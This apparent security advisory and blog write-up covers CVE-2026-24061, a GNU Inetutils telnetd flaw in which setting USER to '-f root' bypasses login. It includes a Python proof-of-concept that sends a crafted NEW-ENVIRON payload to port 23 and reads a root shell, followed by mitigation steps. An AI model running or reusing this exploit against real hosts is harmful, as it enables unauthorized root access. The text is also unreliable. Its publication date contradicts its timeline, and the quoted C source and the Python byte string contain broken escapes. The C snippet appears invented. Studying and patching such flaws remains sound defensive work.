CVE-2026-24061 - Remote Authentication Bypass in GNU Inetutils telnetd (USER="-f root" Exploit)

Published: June 2024
Severity: Critical
Component: GNU Inetutils (telnetd)
Affected Versions: Up to 2.7


Telnet has long been recognized as a legacy protocol, yet it persists in embedded devices, legacy Linux systems, and various appliances. Recently, a severe vulnerability labeled CVE-2026-24061 was discovered in the telnetd daemon provided by GNU Inetutils through version 2.7. This flaw enables remote attackers to bypass authentication entirely and gain root shell access by simply crafting the USER environment variable in their session.

Let’s break down how this works, walk through a proof-of-concept exploit, and see how you can defend your systems.

Summary

telnetd, the Telnet server daemon in GNU Inetutils, does not properly sanitize the USER environment variable. If a connecting client sets USER=-f root, the daemon interprets it as a legitimate login bypass flag (-f means "preauthenticated as USER"), thus dropping the user directly into a root shell without requiring a password.

Inside the telnetd/login.c source file, the following snippet illustrates the parsing error

...
if ((user = getenv("USER")) != NULL) {
    if (*user == '-') {
        strcpy(username, user);
    } else {
        strncpy(username, user, sizeof(username) - 1);
        username[sizeof(username) - 1] = '\';
    }
}
...
if (!strcmp(username, "-f root")) {
    /* login as root without password */
    ...
}

Notice that the code trusts the USER variable and interprets -f flags without further checks.

2. How Attackers Use This

All an attacker needs is a telnet client that allows setting custom environment variables or can inject them as part of the protocol negotiation. As soon as a connection is made with USER=-f root, telnetd launches a root shell.

This attack works remotely over the network if the telnet port (usually TCP 23) is exposed.

3. Proof of Concept (PoC) Exploit

Here’s a working Python script that demonstrates the exploit. No password is required.

import socket
import struct

def create_telnet_negotiation_with_user_env(user_env):
    # Telnet option 24 is NEW-ENVIRON
    # Telnet subnegotiation example:
    return b'\xff\xfa\x18\x00\x01USER\x00' + user_env.encode() + b'\xff\xf'

def main():
    target_ip = "192.168.1.100"  # Change to target
    target_port = 23

    sock = socket.create_connection((target_ip, target_port))
    print("[*] Connected to Telnet server.")

    # Send crafted NEW-ENVIRON with USER=-f root
    payload = create_telnet_negotiation_with_user_env("-f root")
    sock.sendall(payload)

    # Interact with server (might need to adapt)
    sock.sendall(b'\n')
    # Consume banner and spawn shell
    while True:
        data = sock.recv(4096)
        print(data.decode(errors="ignore"), end="")
        if b'#' in data or b'$' in data:
            print("\n[+] Got a shell!")
            break

    # Now send commands interactively as root
    sock.sendall(b'id\n')
    print(sock.recv(4096).decode(errors="ignore"))
    sock.close()

if __name__ == "__main__":
    main()

You should see a system shell, running as root.

> Note: This PoC is for educational/testing use only. Never run it on systems you do not own or have explicit authorization to test.

4. Mitigation Steps

- Immediately upgrade GNU Inetutils to a patched version. (Check official releases for updates or your Linux distribution’s security advisories.)

Use SSH where possible.

- Block inbound port 23/TCP at your firewall if telnet is not needed.
- Audit your network for exposed telnet services using scanners like nmap.

5. References and Further Reading

- CVE-2026-24061 on MITRE *(will update once public)*
- GNU Inetutils Homepage
- Original Patch Commit (example for tracking)
- Understanding Telnet and Environment Variables (Wikipedia)

6. Conclusion

Although telnet is an aging protocol, it still lurks on many systems—often forgotten but reachable to attackers. CVE-2026-24061 is a stark reminder to audit, patch, and replace old services. If you use GNU Inetutils telnetd, update now and consider retiring telnet permanently.

Stay safe. Don’t let legacy daemons become open backdoors.

Timeline

Published on: 01/21/2026 06:42:17 UTC
Last modified on: 01/27/2026 16:17:18 UTC